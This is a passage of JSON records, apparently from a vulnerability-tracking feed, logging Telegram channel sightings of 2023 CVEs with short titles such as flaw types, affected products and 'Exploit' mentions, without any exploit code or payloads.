"2024-02-13T21:16:55.000000Z"}, {"uuid": "5089e6a1-bd25-443c-b582-15383372ca77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47889", "type": "seen", "source": "https://t.me/ctinow/184203", "content": "https://ift.tt/gukKeVO\nCVE-2023-47889 Exploit", "creation_timestamp": "2024-02-13T21:16:54.000000Z"}, {"uuid": "b02da03e-3b94-4851-9ee8-b4cbfab051f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47889", "type": "seen", "source": "https://t.me/ctinow/179674", "content": "https://ift.tt/JajdmEc\nCVE-2023-47889", "creation_timestamp": "2024-02-06T02:26:47.000000Z"}, {"uuid": "8b4a1278-752b-42f1-9140-233b1b03f68e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47354", "type": "seen", "source": "https://t.me/ctinow/179658", "content": "https://ift.tt/mCFuK7k\nCVE-2023-47354", "creation_timestamp": "2024-02-06T01:31:40.000000Z"}, {"uuid": "aa3e72ac-f3f4-4e55-b221-00c52ae90113", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47355", "type": "seen", "source": "https://t.me/ctinow/179350", "content": "https://ift.tt/3yzEkBN\nCVE-2023-47355", "creation_timestamp": "2024-02-05T17:22:22.000000Z"}, {"uuid": "8cf68f47-e61f-4904-90ed-925ab5de5ec8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47718", "type": "seen", "source": "https://t.me/ctinow/183251", "content": "https://ift.tt/lDkLs8r\nCVE-2023-47718 | IBM Maximo Asset Management 7.6.1.3/8.10/8.11 cross-site request forgery (XFDB-271843)", "creation_timestamp": "2024-02-12T17:17:09.000000Z"}, {"uuid": "76e9cad5-ed29-4fc3-a710-39af0bf3cd15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "https://t.me/ctinow/184575", "content": "https://ift.tt/quJsGH4\nQNAP fixes OS command injection flaws affecting its NAS devices (CVE-2023-47218, CVE-2023-50358)", "creation_timestamp": "2024-02-14T12:16:32.000000Z"}, {"uuid": "0a0af984-5fde-4335-abff-39e8fb99e49a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47355", "type": "seen", "source": "https://t.me/ctinow/184057", "content": "https://ift.tt/AdTQIkp\nCVE-2023-47355 Exploit", "creation_timestamp": "2024-02-13T19:17:17.000000Z"}, {"uuid": "55b55a52-e7f8-430e-aa7e-6c029dce3629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47526", "type": "seen", "source": "https://t.me/ctinow/182934", "content": "https://ift.tt/pXxtadW\nCVE-2023-47526", "creation_timestamp": "2024-02-12T08:21:23.000000Z"}, {"uuid": "1f1f7a0c-5355-4cfd-b93a-57cd2eb53ce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47354", "type": "seen", "source": "https://t.me/ctinow/184207", "content": "https://ift.tt/oNv18c7\nCVE-2023-47354 Exploit", "creation_timestamp": "2024-02-13T21:16:59.000000Z"}, {"uuid": "51622ad5-83b4-4176-acc8-bebaf0667c99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "https://t.me/ctinow/183590", "content": "https://ift.tt/orhlQcd\nCVE-2023-47218", "creation_timestamp": "2024-02-13T04:31:43.000000Z"}, {"uuid": "b33ba1eb-58fd-4244-a8cf-257d7416ff50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47459", "type": "seen", "source": "https://t.me/ctinow/178599", "content": "https://ift.tt/jiArEUc\nCVE-2023-47459 | Knovos Discovery 22.67.0 GetProductSiteName information disclosure", "creation_timestamp": "2024-02-03T16:51:36.000000Z"}, {"uuid": "3d4382f0-b22d-4116-9a29-dc223f36a850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47460", "type": "seen", "source": "https://t.me/ctinow/178585", "content": "https://ift.tt/pUGqjkw\nCVE-2023-47460 | Knovos Discovery 22.67.0 getGridColumnStructure sql injection", "creation_timestamp": "2024-02-03T15:21:20.000000Z"}, {"uuid": "c88c57b7-792d-4c96-ba23-a7ae57704e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47170", "type": "seen", "source": "https://t.me/ctinow/178976", "content": "https://ift.tt/am0kDPs\nCVE-2023-47170", "creation_timestamp": "2024-02-05T06:31:26.000000Z"}, {"uuid": "b77fe4a6-fc3e-44d6-90bc-3cf28fb33ae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47144", "type": "seen", "source": "https://t.me/ctinow/178079", "content": "https://ift.tt/eviq91U\nCVE-2023-47144", "creation_timestamp": "2024-02-02T14:21:41.000000Z"}, {"uuid": "8b1e90ee-03fd-445e-bb4c-6f53c48d317a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47143", "type": "seen", "source": "https://t.me/ctinow/178078", "content": "https://ift.tt/QSdtrWv\nCVE-2023-47143", "creation_timestamp": "2024-02-02T14:21:39.000000Z"}, {"uuid": "52b855b7-2e52-4c82-855d-9f530d2792db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47352", "type": "seen", "source": "https://t.me/ctinow/170988", "content": "https://ift.tt/2W7hcnr\nCVE-2023-47352", "creation_timestamp": "2024-01-22T06:30:27.000000Z"}, {"uuid": "a67f1964-84ec-45e5-aad1-8df9bd486f17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47115", "type": "seen", "source": "https://t.me/ctinow/177766", "content": "https://ift.tt/mn9KARf\nCVE-2023-47115 Exploit", "creation_timestamp": "2024-02-01T20:16:36.000000Z"}, {"uuid": "23df038c-6d5c-4054-ab18-cc6b01fad337", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47142", "type": "seen", "source": "https://t.me/ctinow/178106", "content": "https://ift.tt/PiuD9as\nCVE-2023-47142", "creation_timestamp": "2024-02-02T15:21:53.000000Z"}, {"uuid": "f8998c97-7d32-4521-b9e5-c471154fe95d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47617", "type": "seen", "source": "https://t.me/ctinow/181842", "content": "https://ift.tt/x4ai5Wb\nCVE-2023-47617 Exploit", "creation_timestamp": "2024-02-09T08:16:35.000000Z"}, {"uuid": "1c78342d-6979-4551-b694-901167debc1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47618", "type": "seen", "source": "https://t.me/ctinow/181841", "content": "https://ift.tt/Egek3SC\nCVE-2023-47618 Exploit", "creation_timestamp": "2024-02-09T08:16:34.000000Z"}, {"uuid": "b1c381b9-334f-40d8-8927-513742cdd186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47033", "type": "seen", "source": "https://t.me/ctinow/176189", "content": "https://ift.tt/0f2qmrV\nCVE-2023-47033 Exploit", "creation_timestamp": "2024-01-30T19:17:12.000000Z"}, {"uuid": "e6df5a9b-e64b-48c1-8490-d76aac12b621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47867", "type": "seen", "source": "https://t.me/ctinow/177837", "content": "https://ift.tt/MYtkBNm\nCVE-2023-47867", "creation_timestamp": "2024-02-02T00:26:23.000000Z"}, {"uuid": "6034cea0-8973-4836-a66b-6071e98a46b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47148", "type": "seen", "source": "https://t.me/ctinow/178080", "content": "https://ift.tt/itJDzuk\nCVE-2023-47148", "creation_timestamp": "2024-02-02T14:21:42.000000Z"}, {"uuid": "57c6a6fa-995c-4a1e-b154-af942a078532", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47257", "type": "seen", "source": "https://t.me/ctinow/177821", "content": "https://ift.tt/HBe3io2\nCVE-2023-47257", "creation_timestamp": "2024-02-01T23:26:33.000000Z"}, {"uuid": "b6e3e007-0410-41b9-bad8-b63b81748c2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47256", "type": "seen", "source": "https://t.me/ctinow/177820", "content": "https://ift.tt/PgQm1yE\nCVE-2023-47256", "creation_timestamp": "2024-02-01T23:26:32.000000Z"}, {"uuid": "5a14143b-e94a-460f-8ba7-440ae0c104db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47167", "type": "seen", "source": "https://t.me/ctinow/181844", "content": "https://ift.tt/jR1BCq5\nCVE-2023-47167 Exploit", "creation_timestamp": "2024-02-09T08:16:37.000000Z"}, {"uuid": "5d3e3f90-38d6-47d6-bbb3-4a62e47e0f18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47209", "type": "seen", "source": "https://t.me/ctinow/181843", "content": "https://ift.tt/l3KXxuG\nCVE-2023-47209 Exploit", "creation_timestamp": "2024-02-09T08:16:36.000000Z"}, {"uuid": "72e27246-f331-475e-b620-7cf83a489de4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47152", "type": "seen", "source": "https://t.me/ctinow/171439", "content": "https://ift.tt/Kqp2MGt\nCVE-2023-47152", "creation_timestamp": "2024-01-22T21:31:21.000000Z"}, {"uuid": "1fe48388-d948-45a7-a026-8227c664ce1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47132", "type": "seen", "source": "https://t.me/ctinow/181726", "content": "https://ift.tt/eJ78IA9\nCVE-2023-47132", "creation_timestamp": "2024-02-09T00:26:28.000000Z"}, {"uuid": "c2f395d9-58d6-4eb2-a804-272d3e77ee82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47131", "type": "seen", "source": "https://t.me/ctinow/181725", "content": "https://ift.tt/h8BsLli\nCVE-2023-47131", "creation_timestamp": "2024-02-09T00:26:27.000000Z"}, {"uuid": "6635a11c-59e3-4f1f-9287-4bf33c2d1ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47116", "type": "seen", "source": "https://t.me/ctinow/182203", "content": "https://ift.tt/AUOc3wV\nCVE-2023-47116 Exploit", "creation_timestamp": "2024-02-09T19:17:13.000000Z"}, {"uuid": "c93c8af2-e770-4ad2-bfdf-46616ce9c864", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47039", "type": "seen", "source": "https://t.me/ctinow/181324", "content": "https://ift.tt/obGxTZN\nCVE-2023-47039 Perl Vulnerability in NetApp Products", "creation_timestamp": "2024-02-08T12:26:35.000000Z"}, {"uuid": "f702bccf-11a1-4837-8bf5-982cf3bd0b84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47020", "type": "seen", "source": "https://t.me/ctinow/181498", "content": "https://ift.tt/UhklEYX\nCVE-2023-47020", "creation_timestamp": "2024-02-08T17:32:00.000000Z"}, {"uuid": "45c6debc-598a-4766-a6a0-039709f97cc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47798", "type": "seen", "source": "https://t.me/ctinow/181150", "content": "https://ift.tt/VWOsiwu\nCVE-2023-47798", "creation_timestamp": "2024-02-08T04:21:47.000000Z"}, {"uuid": "f75f3128-7ddd-427c-9d94-4d4488d4a18a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47458", "type": "seen", "source": "https://t.me/ctinow/171773", "content": "https://ift.tt/A63JxVa\nCVE-2023-47458 | SpringBlade up to 3.7.0 permission", "creation_timestamp": "2024-01-23T08:51:30.000000Z"}, {"uuid": "60ec4ebe-6fb0-4656-8020-11f31e25f02f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47158", "type": "seen", "source": "https://t.me/ctinow/171440", "content": "https://ift.tt/D3Qjubp\nCVE-2023-47158", "creation_timestamp": "2024-01-22T21:31:22.000000Z"}, {"uuid": "5d94e1e7-77bd-4737-9849-58ccf9ba5d91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47460", "type": "seen", "source": "https://t.me/ctinow/171514", "content": "https://ift.tt/fy5Y1vl\nCVE-2023-47460 Exploit", "creation_timestamp": "2024-01-22T23:16:36.000000Z"}, {"uuid": "1c6713f3-3446-49b1-b552-61d0ae552c24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47141", "type": "seen", "source": "https://t.me/ctinow/171476", "content": "https://ift.tt/8HJZoBb\nCVE-2023-47141", "creation_timestamp": "2024-01-22T22:26:20.000000Z"}, {"uuid": "1fb2e156-5b76-4c60-b2b0-c35c00f663e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47747", "type": "seen", "source": "https://t.me/ctinow/171441", "content": "https://ift.tt/NaUhclX\nCVE-2023-47747", "creation_timestamp": "2024-01-22T21:31:23.000000Z"}, {"uuid": "17122cbe-7640-4ef3-86a3-90012d8d3355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47746", "type": "seen", "source": "https://t.me/ctinow/171394", "content": "https://ift.tt/KlicdEn\nCVE-2023-47746", "creation_timestamp": "2024-01-22T20:26:18.000000Z"}, {"uuid": "a0841fec-1f9b-4904-986c-55ac4ea9051a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47216", "type": "seen", "source": "https://t.me/ctinow/171301", "content": "https://ift.tt/m9l3Fic\nCVE-2023-47216 | OpenHarmony up to 3.2.2 release of resource", "creation_timestamp": "2024-01-22T17:16:10.000000Z"}, {"uuid": "7da9d5a9-58de-4f59-8889-8cea33282b4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47857", "type": "seen", "source": "https://t.me/ctinow/171282", "content": "https://ift.tt/C0pGTBx\nCVE-2023-47857 | OpenHarmony up to 3.2.2 Multimedia Camera use after free", "creation_timestamp": "2024-01-22T16:37:38.000000Z"}, {"uuid": "a67b60a5-9939-42a9-b676-eae676665c89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4785", "type": "seen", "source": "https://t.me/cibsecurity/70399", "content": "\u203c CVE-2023-4785 \u203c\n\nLack of error handling in the TCP server in Google's gRPC starting version 1.23 on posix-compatible platforms (ex. Linux) allows an attacker to cause a denial of service by initiating a significant number of connections with the server. Note that gRPC C++ Python, and Ruby are affected, but gRPC Java, and Go are NOT affected.\u00c2\u00a0\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-13T20:23:47.000000Z"}, {"uuid": "2b7b3875-8dd9-48cc-a7cd-888952801753", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4701", "type": "seen", "source": "https://t.me/cibsecurity/70390", "content": "\u203c CVE-2023-4701 \u203c\n\nA Improper Privilege Management vulnerability through an incorrect use of privileged APIs in CodeMeter Runtime versions prior to 7.60c allow a local, low privileged attacker to use an API call for escalation of privileges in order gain full admin access on the host system.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-13T18:23:43.000000Z"}, {"uuid": "5a04f678-d897-45ec-9cd9-c4c53e2b886d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47247", "type": "seen", "source": "https://t.me/ctinow/170101", "content": "https://ift.tt/LJvuCw3\nCVE-2023-47247 | SysAid On-Premise up to 23.3.33 Knowledge Base Article denial of service", "creation_timestamp": "2024-01-19T08:42:00.000000Z"}, {"uuid": "f9e00ae7-9be8-4634-802b-d84c1d101136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47804", "type": "seen", "source": "https://t.me/ctinow/170703", "content": "https://ift.tt/Jt9aZPR\nCVE-2023-47804 | Apache OpenOffice up to 4.1.15 Macro URL argument injection", "creation_timestamp": "2024-01-20T19:21:55.000000Z"}, {"uuid": "0b0aa145-9a43-4869-900b-9557619fc9e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47035", "type": "seen", "source": "https://t.me/ctinow/176151", "content": "https://ift.tt/hX2MwQT\nCVE-2023-47035 Exploit", "creation_timestamp": "2024-01-30T18:17:18.000000Z"}, {"uuid": "4b01e904-58f8-428f-bebc-3f5db43db476", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47996", "type": "seen", "source": "https://t.me/ctinow/174850", "content": "https://ift.tt/YRT0KEq\nCVE-2023-47996 | FreeImage 3.18.0 Exif.cpp jpeg_read_exif_dir integer overflow", "creation_timestamp": "2024-01-28T07:56:56.000000Z"}, {"uuid": "e94d9660-55fc-4d6c-8771-c1247cbd5eb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47997", "type": "seen", "source": "https://t.me/ctinow/174849", "content": "https://ift.tt/ROXZN03\nCVE-2023-47997 | FreeImage 3.18.0 BitmapAccess.cpp FreeImage_AllocateBitmap denial of service", "creation_timestamp": "2024-01-28T07:56:54.000000Z"}, {"uuid": "9ea0fb24-2bc2-45e3-b0f3-ae695cce987f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47994", "type": "seen", "source": "https://t.me/ctinow/174848", "content": "https://ift.tt/1uYP7UA\nCVE-2023-47994 | FreeImage 3.18.0 PluginBMP.cpp LoadPixelDataRLE4 integer overflow", "creation_timestamp": "2024-01-28T07:56:54.000000Z"}, {"uuid": "2adf19b7-f115-469c-8b54-b3f3c57a18b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47460", "type": "seen", "source": "https://t.me/ctinow/168590", "content": "https://ift.tt/xFu7Xc5\nCVE-2023-47460", "creation_timestamp": "2024-01-16T02:26:38.000000Z"}, {"uuid": "93505b95-4b0a-4630-a3f3-12263dfd18fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47459", "type": "seen", "source": "https://t.me/ctinow/168589", "content": "https://ift.tt/2H8KX9l\nCVE-2023-47459", "creation_timestamp": "2024-01-16T02:26:37.000000Z"}, {"uuid": "0473403f-f3f5-4f85-b86e-b3fb46897c21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47992", "type": "seen", "source": "https://t.me/ctinow/174841", "content": "https://ift.tt/ipqw9v0\nCVE-2023-47992 | FreeImage 3.18.0 FreeImageIO.cpp _MemoryReadProc integer overflow", "creation_timestamp": "2024-01-28T06:51:25.000000Z"}, {"uuid": "0f873f09-0810-4b54-8a78-b12fc5a9e555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47862", "type": "seen", "source": "https://t.me/ctinow/174939", "content": "https://ift.tt/PiwJF7Y\nCVE-2023-47862 | WWBN AVideo 15fed957fb HTTP Request getLanguageFromBrowser file inclusion (TALOS-2023-1886)", "creation_timestamp": "2024-01-28T13:56:27.000000Z"}, {"uuid": "279ef193-49d4-44d6-bac7-49dbbfac4b3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47861", "type": "seen", "source": "https://t.me/ctinow/174936", "content": "https://ift.tt/vN0qFU4\nCVE-2023-47861 | WWBN AVideo 11.6 HTTP Request channelBody.php cross site scripting (TALOS-2023-1884)", "creation_timestamp": "2024-01-28T13:56:23.000000Z"}, {"uuid": "bca096a9-703f-4470-9b7b-61d844d08f5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47171", "type": "seen", "source": "https://t.me/ctinow/174930", "content": "https://ift.tt/dDOtWsx\nCVE-2023-47171 | WWBN AVideo 11.6 HTTP Request aVideoEncoder.json.php file inclusion (TALOS-2023-1869)", "creation_timestamp": "2024-01-28T13:26:34.000000Z"}, {"uuid": "6e576bb4-d2aa-4669-ac65-d4e8898508b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47993", "type": "seen", "source": "https://t.me/ctinow/174852", "content": "https://ift.tt/N90tyEo\nCVE-2023-47993 | FreeImage 3.18.0 Exif.cpp ReadInt32 out-of-bounds", "creation_timestamp": "2024-01-28T08:26:39.000000Z"}, {"uuid": "2c362b19-0798-4939-9c70-6a47bb161200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47995", "type": "seen", "source": "https://t.me/ctinow/174851", "content": "https://ift.tt/rXyZ4Wh\nCVE-2023-47995 | FreeImage 3.18.0 BitmapAccess.cpp FreeImage_AllocateBitmap buffer overflow", "creation_timestamp": "2024-01-28T07:56:56.000000Z"}, {"uuid": "99190c3f-2e3b-4a67-aee4-1fec2d064e09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47327", "type": "seen", "source": "https://t.me/ctinow/165692", "content": "https://ift.tt/8iXQ2sz\nCVE-2023-47327 | Silverpeas Core 6.3.1 Create a Space access control", "creation_timestamp": "2024-01-10T10:41:17.000000Z"}, {"uuid": "79c54c4a-dbe6-4114-864a-fd75efc00bc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47024", "type": "seen", "source": "https://t.me/ctinow/170508", "content": "https://ift.tt/fmrtVZR\nCVE-2023-47024", "creation_timestamp": "2024-01-20T03:31:46.000000Z"}, {"uuid": "79766728-b723-4cbd-add5-933b8013989b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4782", "type": "seen", "source": "https://t.me/cibsecurity/70164", "content": "\u203c CVE-2023-4782 \u203c\n\nTerraform version 1.0.8 through 1.5.6 allows arbitrary file write during the `init` operation if run on maliciously crafted Terraform configuration. This vulnerability is fixed in Terraform 1.5.7.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-08T22:21:42.000000Z"}, {"uuid": "13e1e27c-d55b-473e-9fc3-0b82a4c34dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47034", "type": "seen", "source": "https://t.me/ctinow/170322", "content": "https://ift.tt/dzLbjiK\nCVE-2023-47034", "creation_timestamp": "2024-01-19T18:22:05.000000Z"}, {"uuid": "c0c7f649-f9a7-4101-94be-6aa0d1f6d7e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47033", "type": "seen", "source": "https://t.me/ctinow/170321", "content": "https://ift.tt/yhtkMcv\nCVE-2023-47033", "creation_timestamp": "2024-01-19T18:22:04.000000Z"}, {"uuid": "d2bf30b7-1aa1-410a-809d-007835e3154f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47883", "type": "seen", "source": "https://t.me/ctinow/170310", "content": "https://ift.tt/P0IWbSk\nCVE-2023-47883 | com.altamirano.fabricio.tvbrowser up to 4.5.1 on Android MainActivity code injection", "creation_timestamp": "2024-01-19T17:46:32.000000Z"}, {"uuid": "8b91ae7b-0618-4bbb-9c1f-8a0a11a73b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47852", "type": "seen", "source": "https://t.me/ctinow/167851", "content": "https://ift.tt/BE8Xah5\nCVE-2023-47852 | Link Whisper Free Plugin up to 0.6.5 on WordPress sql injection", "creation_timestamp": "2024-01-13T15:21:53.000000Z"}, {"uuid": "ab811e8c-67ec-4ff1-a6f2-b2fd0935bb86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47507", "type": "seen", "source": "https://t.me/ctinow/167836", "content": "https://ift.tt/yYxM6Bf\nCVE-2023-47507 | Master Slider Pro Plugin up to 3.6.5 on WordPress deserialization", "creation_timestamp": 